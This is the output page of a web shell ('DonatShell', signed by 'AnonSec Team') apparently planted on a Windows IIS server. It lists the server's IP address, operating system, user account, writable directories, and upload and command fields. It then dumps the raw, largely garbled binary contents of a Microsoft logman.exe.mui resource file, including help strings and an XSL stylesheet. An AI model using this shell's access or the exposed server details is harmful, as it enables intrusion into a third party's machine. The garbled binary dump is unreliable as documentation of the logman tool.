DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Windows/System32/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Windows/System32/en-US//logman.exe.mui
MZ@	!L!This program cannot be run in DOS mode.

$uEEELlDLl
DRichEPEL!	@8.rsrc@@0H 8Ph	

(@X&p'()*,30H`x				 	0	@	P	`	p											 	0	@	P	`	p			!$v',*x8/.h47;
<zL?(A*TC DbDP"QR(ST$T4VXtY]&FMUI
LOGMAN.XSLX?AyPq@2x,«7MUIen-USCcomputer`s`computer`Perform the command on specified remote system.'create`*`*`Create a new data collector.Lstart`*`*`Start an existing data collector and set the begin time to manual.Hstop`*`*`Stop an existing data collector and set the end time to manual.-delete`*`*`Delete an existing data collector.kquery`*`name|providers`Query data collector properties. If no name is given all data collectors are listed.5begin`b`*`Begin the data collector at specified time.1end`e`*`End the data collector at specified time.Prepeat`r`*`Repeat the data collector daily at the specified begin and end times.&name`n`name`Name of the target object.out`o`path|dsn!log`Path of the output log file or the DSN and log set name in a SQL database. The default path is '%systemdrive%\PerfLogs\Admin'.format`f`bin|bincirc|csv|tsv|sql`Specifies the log format for the data collector. For SQL database format, you must use the -o option in the command line with the DNS!log option. The defaults is binary.PA*append`a`*`Append to an existing log file.Xversion`v`nnnnnn|mmddhhmm`Attach file versioning information to the end of the log name.Eruncmd`rc`task`Run the command specified each time the log is closed.Hmax`max`*`Maximum log file size in MB or number of records for SQL logs.enewfile`cnf`*`Create a new file when the specified time has elapsed or when the max size is exceeded.0counters`c`path`Performance counters to collect.Lcounterfile`cf`*`File listing performance counters to collect, one per line.Dsample`si`*`Sample interval for performance counter data collectors.<logname`ln`logger_name`Logger name for Event Trace Sessions.<realtime`rt`*`Run the Event Trace Session in real-time mode.provider`p`provider [flags [level]]`A single Event Trace provider to enable. The terms 'Flags' and 'Keywords' are synonymous in this context.Hproviderfile`pf`*`File listing multiple Event Trace providers to enable.7usermode`ul`*`Run the Event Trace Session in user mode.6buffersize`bs`*`Event Trace Session buffer size in kb.0flushtimer`ft`*`Event Trace Session flush timer.9buffers`nb`min max`Number of Event Trace Session buffers.PAYflushdisk`fd`*`Flushes all the active buffers of an existing Event Trace Session to disk.:update`*`*`Update an existing data collector's properties.user`u`user [password]`User to Run As. Entering a * for the password produces a prompt for the password. The password is not displayed when you type it at the password prompt.Drunfor`rf`*`Run the data collector for the specified period of time.8force`y`*`Answer yes to all questions without prompting.`manual`m`[start] [stop]`Change to manual start or stop instead of a scheduled begin or end time.Zsession`ets`*`Send commands to Event Trace Sessions directly without saving or scheduling.>agelimit`age`limit`Modify aging decay time to <limit> minutes.mode`mode`trace_mode`Event Trace Session logger mode. For more information visit - http://go.microsoft.com/fwlink/?LinkID=136464,counter`*`*`Create a counter data collector.(trace`*`*`Create a trace data collector.(providers`*`*`Show registered providers.clocktype`ct`perf|system|cycle`Specifies the clock resolution to use when logging the time stamp for each event. You can use query performance counter, system time, or CPU cycle.)alert`*`*`Create an alert data collector..cfg`*`*`Create a configuration data collector.-api`*`*`Create an API Tracing data collector.-registry`reg`path`Registry values to collect.,management`mgt`query`WMI objects to collect.9filetocollect`ftc`path`Full path to the files to collect.=networkinterface`ni`*`Enable/Disable network interface query.Qthreshold`th`threshold`Specify counters and their threshold values for and alert.1eventlog`el`*`Enable/Disable event log reporting.PA>rundcs`rdcs`name`Data collector set to start when alert fires..taskname`tn`task`Task to run when alert fires.*taskargument`targ`argument`Task arguments.6exepath`exe`*`Full path to executable for API Tracing.&apinamesonly`ano`*`Log API names only.8modules`mods`path`List of modules to log API calls from.Fincludeapis`inapis`module!api`List of API calls to include in logging.Hexcludeapis`exapis`module!api`List of API calls to exclude from logging.`samplecount`sc`*`Maximum number of samples to collect with a performance counter data collector.%processId`pid`pid`Process identifier.3xml`xml`*`Name of the XML file to import or export..overwrite`ow`*`Overwrite an existing log file.8import`*`*`Import a data collector set from an XML file.6export`*`*`Export a data collector set to an XML file.Glogrecursively`recursive`*`Log APIs recursively beyond the first layer.:async`as`*`Perform the requested operation asynchronously.PAN
Data Collector Set                      Type                          Status
%1!s! %2!-30s!%3!-8s!
CounterTraceAlertPAStoppedRunningPendingStatus:       %1!s!
Name:         %1!s!
Type:         %1!s!
File:         %1!s!
Run As:       %1!s!
Enter the user name for %1!s!: Enter the password for %1!s!: this connection'Session                    Id     File
%1!s! %2!-6s! %3!s!
%1!-26s! %2!s!

Counters:
Logger name:  %1!s!
PABuffer Size:  %1!d!
<Invalid Parameter>Start:        Stop:         <Manual>Duration:      (Repeating)
<By Size>
New File:     	   %1!s!

Providers:
System/
Provider                                 GUID
Name:LogmanWindows 2000JProvider                                  Flags                     Level
KeywordLevel	Undefined
ConfigurationGroupBegin:        End:          	<Default>Registry Keys:
ApiTrace	CompilingL
The Data Collector Set '%1!s!' is currently '%2!s!' and cannot be deleted.
PIDPAValueDescriptionImageAMicrosoft TechNet - http://go.microsoft.com/fwlink/?LinkID=136332outputnnnnnn(Process,Thread,Disk)PAlogman start "NT Kernel Logger" -o log.etl -etslogman start "NT Kernel Logger" -p "Windows Kernel Trace" (process,thread) -etslogman start perf_log0logman update perf_log -si 10 -f csv -v mmddhhmm=logman create trace trace_log -nb 16 256 -bs 64 -o c:\logfilelogman create counter perf_log -c "\Processor(_Total)\% Processor Time"logman create counter perf_log -c "\Processor(_Total)\% Processor Time" -max 10 -rf 01:00Jlogman create alert new_alert -th "\Processor(_Total)\% Processor Time>50"logman create cfg cfg_log -reg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\\"logman create cfg cfg_log -mgt "root\cimv2:SELECT * FROM Win32_OperatingSystem"dlogman create api trace_notepad -exe c:\windows\notepad.exe -o c:\notepad.etllogman create api trace_notepad -exe c:\windows\notepad.exe -mods c:\windows\system32\advapi32.dlllogman create api trace_notepad -exe c:\windows\notepad.exe -exapis kernel32.dll!TlsGetValuelogman.exe create api trace_notepad -exe c:\windows\system32\notepad.exe -bincirc -anohlogman start process_trace -p Microsoft-Windows-Kernel-Process -mode newfile -max 1 -o output%d.etl -etslogman start usermode_trace -p "Service Control Manager Trace" -ul -etslogman query usermode_trace -p "Service Control Manager Trace" -ul -etslogman stop usermode_trace -p "Service Control Manager Trace" -ul -etsVlogman query providerslogman query providers Microsoft-Windows-Diagnostics-NetworkingZlogman start process_trace -p Microsoft-Windows-Kernel-Process 0x10 win:Informational -etsLogman manages the "Performance Logs and Alerts" service for creating and managing Event Trace Session logs and Performance logs.PAdebug`d`level`Debug&h`?`*`Displays context sensitive help.6ini`config`*`Settings file containing command options.PA$The command completed successfully.

Error:
>You're running with a restricted token, try running elevated.
Unknown

Error: 0x%1!08x!
valuefilename[[hh:]mm:]ssy6Arguments '%1!s!' and '%2!s!' are mutually exclusive.
Argument '%1!s!' is required.
5At least one of the following arguments is required:
DArgument '%1!s!' is not allowed with the other arguments specified.

Verbs:


Adverbs:


Options:
Usage:
  %1!s! 
[options]
Argument '%1!s!' is unknown.
#Argument '%1!s!' is not negatable.
2Argument '%1!s!' has been defined too many times.
1Argument '%1!s!' requires additional parameters.
p
Note:
  Where [-] is listed, an extra - negates the option.
  For example --%1!s! turns off the -%1!s! option.

Examples:

Options (%1!s!):

More Information:
PA2The file "%1!s!" already exists, overwrite? [y/n] 4VS_VERSION_INFO@@?StringFileInfo040904B0LCompanyNameMicrosoft CorporationXFileDescriptionPerformance Log Utilityl&FileVersion6.1.7600.16385 (win7_rtm.090713-1255)6InternalNameLogman.exe.LegalCopyright Microsoft Corporation. All rights reserved.FOriginalFilenameLogman.exe.muij%ProductNameMicrosoft Windows Operating SystemBProductVersion6.1.7600.16385DVarFileInfo$Translation	<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="text" standalone="yes" encoding="utf-8"/>

<xsl:template name="localization">
<_locDefinition>
<_locDefault _loc="locNone"/>
<_locTag _loc="locData">label</_locTag>

<!--	5/23/2006
	turning off localization to the document as a whole and 
	specifying localization only for the values of the  
	'label' elements. Also adding loc IDs to each tag.
	http://localizability/practices/XML.asp
	http://localizability/practices/XMLConfiguration.asp
-->

</_locDefinition>
</xsl:template>

<xsl:variable name="labels">
  <label _locID="Alert" name="Alert">Alert</label>
  <label _locID="BufferSize" name="BufferSize">Buffer Size</label>
  <label _locID="BuffersLost" name="BuffersLost">Buffers Lost</label>
  <label _locID="BuffersWritten" name="BuffersWritten">Buffers Written</label>
  <label _locID="ClockType" name="ClockType">Clock Type</label>
  <label _locID="Configuration" name="Configuration">Configuration</label>
  <label _locID="Counter" name="Counter">Counter</label>
  <label _locID="Counters" name="Counters">Counters</label>
  <label _locID="Cycle" name="Cycle">Cycle</label>
  <label _locID="Days" name="Days">Days</label>
  <label _locID="Duration" name="Duration" units="Seconds">Duration</label>
  <label _locID="DisplayName" name="DisplayName">Name</label>
  <label _locID="EndDate" name="EndDate">End Date</label>
  <label _locID="EventsLost" name="EventsLost">EventsLost</label>
  <label _locID="FilterType" name="FilterType">Filter Type</label>
  <label _locID="Guid" name="Guid">Provider Guid</label>
  <label _locID="KeywordsAll" name="KeywordsAll">All keywords</label>
  <label _locID="KeywordsAny" name="KeywordsAny">Any keyword</label>
  <label _locID="LatestOutputLocation" name="LatestOutputLocation">Output Location</label>
  <label _locID="Level" name="Level">Level</label>
  <label _locID="LogAppend" name="LogAppend">Append</label>
  <label _locID="LogCircular" name="LogCircular">Circular</label>
  <label _locID="LogOverwrite" name="LogOverwrite">Overwrite</label>
  <label _locID="MB" name="MB">MB</label>
  <label _locID="Name" name="Name">Name</label>
  <label _locID="Off" name="Off">Off</label>
  <label _locID="On" name="On">On</label>
  <label _locID="Pending" name="Pending">Pending</label>
  <label _locID="Compiling" name="Compiling">Compiling</label>
  <label _locID="Undefined" name="Undefined">Undefined</label>
  <label _locID="Performance" name="Performance">Performance</label>
  <label _locID="Properties" name="Properties">Properties</label>
  <label _locID="Provider" name="Provider">Provider</label>
  <label _locID="RootPath" name="RootPath">Root Path</label>
  <label _locID="Running" name="Running">Running</label>
  <label _locID="StartDate" name="StartDate">Start Date</label>
  <label _locID="StartTime" name="StartTime">Start Time</label>
  <label _locID="Status" name="Status">Status</label>
  <label _locID="SampleInterval" name="SampleInterval" units="Seconds">Sample Interval</label>
  <label _locID="Seconds" name="Seconds">second(s)</label>
  <label _locID="Segment" name="Segment">Segment</label>
  <label _locID="SegmentMaxDuration" name="SegmentMaxDuration" units="Seconds">Segment Max Duration</label>
  <label _locID="SegmentMaxSize" name="SegmentMaxSize" units="MB">Segment Max Size</label>
  <label _locID="Stopped" name="Stopped">Stopped</label>
  <label _locID="System" name="System">System</label>
  <label _locID="Task" name="Task">Task</label>
  <label _locID="TaskArguments" name="TaskArguments">Task Arguments</label>
  <label _locID="TimeStamp" name="TimeStamp">TimeStamp</label>
  <label _locID="Trace" name="Trace">Trace</label>
  <label _locID="Schedule" name="Schedule">Schedule</label>
  <label _locID="Type" name="Type">Type</label>
  <label _locID="Unknown" name="Unknown">Unknown</label>
  <label _locID="StreamMode" name="StreamMode">File Mode</label>
  <label _locID="PlaNone" name="PlaNone">None</label>
  <label _locID="PlaFile" name="PlaFile">File</label>
  <label _locID="PlaRealTime" name="PlaRealTime">Real-time</label>
  <label _locID="PlaBoth" name="PlaBoth">File and Real-time</label>
  <label _locID="PlaBuffering" name="PlaBuffering">Buffering</label>
  <label _locID="FlushTimer" name="FlushTimer">Buffer Flush Timer</label>
  <label _locID="SchedulesEnabled" name="SchedulesEnabled">Schedules</label>
  <label _locID="UserAccount" name="UserAccount">Run as</label>
  <label _locID="Files" name="Files">Files</label>
  <label _locID="Registries" name="Registries">Registry Entries</label>
  <label _locID="MgmtQueries" name="MgmtQueries">Management Queries</label>
  <label _locID="QueryNetworkAdapters" name="QueryNetworkAdapters">Network Interfaces</label>
  <label _locID="Thresholds" name="Thresholds">Thresholds</label>
  <label _locID="EventLog" name="EventLog">Event Log</label>
  <label _locID="TriggerDataCollectorSet" name="TriggerDataCollectorSet">Data Collector Set</label>
  <label _locID="mon" name="mon">Mon</label>
  <label _locID="tue" name="tue">Tue</label>
  <label _locID="wed" name="wed">Wed</label>
  <label _locID="thr" name="thr">Thr</label>
  <label _locID="fri" name="fri">Fri</label>
  <label _locID="sat" name="sat">Sat</label>
  <label _locID="sun" name="sun">Sun</label>
</xsl:variable>

<xsl:variable name="col">
  <xsl:value-of select="'                          '"/>
</xsl:variable>
<xsl:variable name="offset"><xsl:value-of select="string-length($col)"/></xsl:variable>

<xsl:template match="/">
  <xsl:for-each select="//DataCollectorSet">
    <xsl:value-of select="'
'"/>

    <xsl:apply-templates select="Name" mode="label"/>
    <xsl:apply-templates select="Status" mode="label"/>
    <xsl:apply-templates select="RootPath" mode="label"/>
    <xsl:apply-templates select="Task" mode="label"/>
    <xsl:apply-templates select="Duration" mode="label"/>
    <xsl:apply-templates select="Segment" mode="label-boolean"/>
    <xsl:apply-templates select="SchedulesEnabled" mode="label-boolean"/>
    <xsl:apply-templates select="SegmentMaxDuration" mode="label"/>
    <xsl:apply-templates select="SegmentMaxSize" mode="label"/>
    <xsl:apply-templates select="UserAccount" mode="label"/>
    <xsl:apply-templates select="Schedule"/>

    <xsl:apply-templates select="PerformanceCounterDataCollector"/>
    <xsl:apply-templates select="AlertDataCollector"/>
    <xsl:apply-templates select="ConfigurationDataCollector"/>
    <xsl:apply-templates select="TraceDataCollector"/>
  </xsl:for-each>
  <xsl:value-of select="'
'"/>
</xsl:template>

<xsl:template match="Schedule">
  <xsl:value-of select="'
'"/>
  <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'Schedule']"/><xsl:value-of select="'
'"/>
  <xsl:apply-templates select="StartDate" mode="label"/>
  <xsl:apply-templates select="StartTime" mode="label"/>
  <xsl:apply-templates select="EndDate" mode="label"/>
  <xsl:apply-templates select="Days" mode="label"/>
</xsl:template>

<xsl:template name="DataCollector">
  <xsl:value-of select="'
'"/>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = 'Name']"/>
    <xsl:with-param name="value"><xsl:value-of select="preceding-sibling::Name"/>\<xsl:value-of select="Name"/></xsl:with-param>
  </xsl:call-template>
  <xsl:apply-templates select="DataCollectorType" mode="label"/>
  <xsl:apply-templates select="LatestOutputLocation" mode="label"/>
  <xsl:apply-templates select="LogAppend" mode="label-boolean"/>
  <xsl:apply-templates select="LogCircular" mode="label-boolean"/>
  <xsl:apply-templates select="LogOverwrite" mode="label-boolean"/>
</xsl:template>

<xsl:template match="PerformanceCounterDataCollector">
  <xsl:call-template name="DataCollector"/>
  <xsl:apply-templates select="SampleInterval" mode="label"/>
  <xsl:if test="Counter">
    <xsl:value-of select="'
'"/>
    <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'Counters']"/>:<xsl:value-of select="'
'"/>
    <xsl:for-each select="CounterDisplayName">
      <xsl:value-of select="'  '"/><xsl:value-of select="."/><xsl:value-of select="'
'"/>
    </xsl:for-each>
  </xsl:if>
</xsl:template>

<xsl:template match="AlertDataCollector">
  <xsl:call-template name="DataCollector"/>
  <xsl:apply-templates select="SampleInterval" mode="label"/>
  <xsl:apply-templates select="EventLog" mode="label-boolean"/>
  <xsl:apply-templates select="TriggerDataCollectorSet" mode="label"/>
  <xsl:apply-templates select="Task" mode="label"/>
  <xsl:apply-templates select="TaskArguments" mode="label"/>
  <xsl:if test="Alert">
    <xsl:value-of select="'
'"/>
    <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'Thresholds']"/>:<xsl:value-of select="'
'"/>
    <xsl:for-each select="AlertDisplayName">
      <xsl:value-of select="'  '"/><xsl:value-of select="."/><xsl:value-of select="'
'"/>
    </xsl:for-each>
  </xsl:if>
</xsl:template>

<xsl:template match="ConfigurationDataCollector">
  <xsl:call-template name="DataCollector"/>
  <xsl:apply-templates select="QueryNetworkAdapters" mode="label-boolean"/>
  <xsl:if test="ManagementQuery">
    <xsl:value-of select="'
'"/>
    <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'MgmtQueries']"/>:<xsl:value-of select="'
'"/>
    <xsl:for-each select="ManagementQuery">
      <xsl:value-of select="'  '"/><xsl:value-of select="."/><xsl:value-of select="'
'"/>
    </xsl:for-each>
  </xsl:if>
  <xsl:if test="File">
    <xsl:value-of select="'
'"/>
    <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'Files']"/>:<xsl:value-of select="'
'"/>
    <xsl:for-each select="File">
      <xsl:value-of select="'  '"/><xsl:value-of select="."/><xsl:value-of select="'
'"/>
    </xsl:for-each>
  </xsl:if>
  <xsl:if test="RegistryKey">
    <xsl:value-of select="'
'"/>
    <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'Registries']"/>:<xsl:value-of select="'
'"/>
    <xsl:for-each select="RegistryKey">
      <xsl:value-of select="'  '"/><xsl:value-of select="."/><xsl:value-of select="'
'"/>
    </xsl:for-each>
  </xsl:if>
</xsl:template>

<xsl:template match="TraceDataCollector">
  <xsl:call-template name="DataCollector"/>
  <xsl:apply-templates select="BufferSize" mode="label"/>
  <xsl:apply-templates select="BuffersLost" mode="label"/>
  <xsl:apply-templates select="BuffersWritten" mode="label"/>
  <xsl:apply-templates select="FlushTimer" mode="label"/>
  <xsl:apply-templates select="ClockType" mode="label"/>
  <xsl:apply-templates select="StreamMode" mode="label"/>
  <xsl:apply-templates select="TraceDataProvider"/>
</xsl:template>

<xsl:template match="TraceDataProvider">
  <xsl:value-of select="'
'"/>
  <xsl:value-of select="msxsl:node-set($labels)/label[@name = 'Provider']"/>:<xsl:value-of select="'
'"/>
  <xsl:apply-templates select="DisplayName" mode="label"/>
  <xsl:apply-templates select="Guid" mode="label"/>
  <xsl:apply-templates select="Level" mode="ValueMap"/>
  <xsl:apply-templates select="KeywordsAll" mode="ValueMap"/>
  <xsl:apply-templates select="KeywordsAny" mode="ValueMap"/>
  <xsl:apply-templates select="Properties" mode="ValueMap"/>
  <xsl:apply-templates select="FilterType" mode="label"/>
</xsl:template>

<xsl:template match="*" mode="ValueMap">
  <xsl:variable name="label" select="name()"/>

  <xsl:value-of select="$label"/>:<xsl:value-of select="substring($col, $offset - 20 + string-length($label) )"/>
  <xsl:value-of select="Value"/>
  <xsl:if test="ValueMapItem[Enabled=-1 and string-length(Key)]">
    <xsl:value-of select="' ('"/>
    <xsl:for-each select="ValueMapItem[Enabled=-1 and string-length(Key)]">
      <xsl:if test="position() &gt; 1">
        <xsl:value-of select="','"/>
      </xsl:if>
      <xsl:value-of select="Key"/>
    </xsl:for-each>
    <xsl:for-each select="ValueMapItem[Enabled=-1 and string-length(Key)=0]">
      <xsl:value-of select="','"/>
      <xsl:value-of select="Value"/>
    </xsl:for-each>
    <xsl:value-of select="')'"/>
  </xsl:if>
  <xsl:value-of select="'
'"/>
</xsl:template>

<xsl:template match="*" mode="label-boolean">
  <xsl:variable name="node" select="name()"/>
  <xsl:variable name="value">
    <xsl:choose>
      <xsl:when test=". = 0">Off</xsl:when>
      <xsl:otherwise>On</xsl:otherwise>
    </xsl:choose>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = $node]"/>
    <xsl:with-param name="value" select="msxsl:node-set($labels)/label[@name = $value]"/>
  </xsl:call-template>
</xsl:template>

<xsl:template match="DataCollectorType" mode="label">
  <xsl:variable name="type">
    <xsl:choose>
      <xsl:when test=". = 0">Counter</xsl:when>
      <xsl:when test=". = 1">Trace</xsl:when>
      <xsl:when test=". = 2">Configuration</xsl:when>
      <xsl:when test=". = 3">Alert</xsl:when>
    </xsl:choose>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = 'Type']"/>
    <xsl:with-param name="value" select="msxsl:node-set($labels)/label[@name = $type]"/>
  </xsl:call-template>
</xsl:template>

<xsl:template match="ClockType" mode="label">
  <xsl:variable name="clock">
    <xsl:choose>
      <xsl:when test=". = 0">TimeStamp</xsl:when>
      <xsl:when test=". = 1">Performance</xsl:when>
      <xsl:when test=". = 2">System</xsl:when>
      <xsl:when test=". = 3">Cycle</xsl:when>
    </xsl:choose>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = 'ClockType']"/>
    <xsl:with-param name="value" select="msxsl:node-set($labels)/label[@name = $clock]"/>
  </xsl:call-template>
</xsl:template>

<xsl:template match="StreamMode" mode="label">
  <xsl:variable name="streammode">
    <xsl:choose>
      <xsl:when test=". = 0">PlaNone</xsl:when>
      <xsl:when test=". = 1">PlaFile</xsl:when>
      <xsl:when test=". = 2">PlaRealTime</xsl:when>
      <xsl:when test=". = 3">PlaBoth</xsl:when>
      <xsl:when test=". = 4">PlaBuffering</xsl:when>
      <xsl:otherwise>Unknown</xsl:otherwise>
    </xsl:choose>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = 'StreamMode']"/>
    <xsl:with-param name="value" select="msxsl:node-set($labels)/label[@name = $streammode]"/>
  </xsl:call-template>
</xsl:template>

<xsl:template match="Status" mode="label">
  <xsl:variable name="status">
    <xsl:choose>
      <xsl:when test=". = 0">Stopped</xsl:when>
      <xsl:when test=". = 1">Running</xsl:when>
      <xsl:when test=". = 2">Compiling</xsl:when>
      <xsl:when test=". = 3">Pending</xsl:when>
      <xsl:when test=". = 4">Undefined</xsl:when>
      <xsl:otherwise>Unknown</xsl:otherwise>
    </xsl:choose>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = 'Status']"/>
    <xsl:with-param name="value" select="msxsl:node-set($labels)/label[@name = $status]"/>
  </xsl:call-template>
</xsl:template>

<xsl:template match="Days" mode="label">
  <xsl:variable name="days">
    <xsl:if test="(floor(. div 1 ) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'sun']"/> </xsl:if>
    <xsl:if test="(floor(. div 2 ) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'mon']"/> </xsl:if>
    <xsl:if test="(floor(. div 4 ) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'tue']"/> </xsl:if>
    <xsl:if test="(floor(. div 8 ) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'wed']"/> </xsl:if>
    <xsl:if test="(floor(. div 16) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'thr']"/> </xsl:if>
    <xsl:if test="(floor(. div 32) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'fri']"/> </xsl:if>
    <xsl:if test="(floor(. div 64) mod 2) != 0"><xsl:value-of select="msxsl:node-set($labels)/label[@name = 'sat']"/></xsl:if>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = 'Days']"/>
    <xsl:with-param name="value" select="$days"/>
  </xsl:call-template>
</xsl:template>

<xsl:template match="*" mode="label">
  <xsl:variable name="node" select="name()"/>
  <xsl:variable name="value">
    <xsl:choose>
      <xsl:when test="msxsl:node-set($labels)/label[@name = $node]/@units">
        <xsl:if test=". &gt; 0">
          <xsl:value-of select="."/>
          <xsl:value-of select="' '"/>
          <xsl:value-of select="msxsl:node-set($labels)/label[@name = msxsl:node-set($labels)/label[@name = $node]/@units]"/>
        </xsl:if>
      </xsl:when>
      <xsl:otherwise>
        <xsl:value-of select="."/>
      </xsl:otherwise>
    </xsl:choose>
  </xsl:variable>
  <xsl:call-template name="display">
    <xsl:with-param name="label" select="msxsl:node-set($labels)/label[@name = $node]"/>
    <xsl:with-param name="value" select="$value"/>
  </xsl:call-template>
</xsl:template>

<xsl:template name="display">
  <xsl:param name="label"/>
  <xsl:param name="value"/>
  <xsl:if test="string-length($value)">
    <xsl:value-of select="$label"/>:<xsl:value-of select="substring($col, $offset - 20 + string-length($label) )"/>
    <xsl:value-of select="$value"/><xsl:value-of select="'
'"/>
  </xsl:if>
</xsl:template>

</xsl:stylesheet>
PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX

Anon7 - 2022
AnonSec Team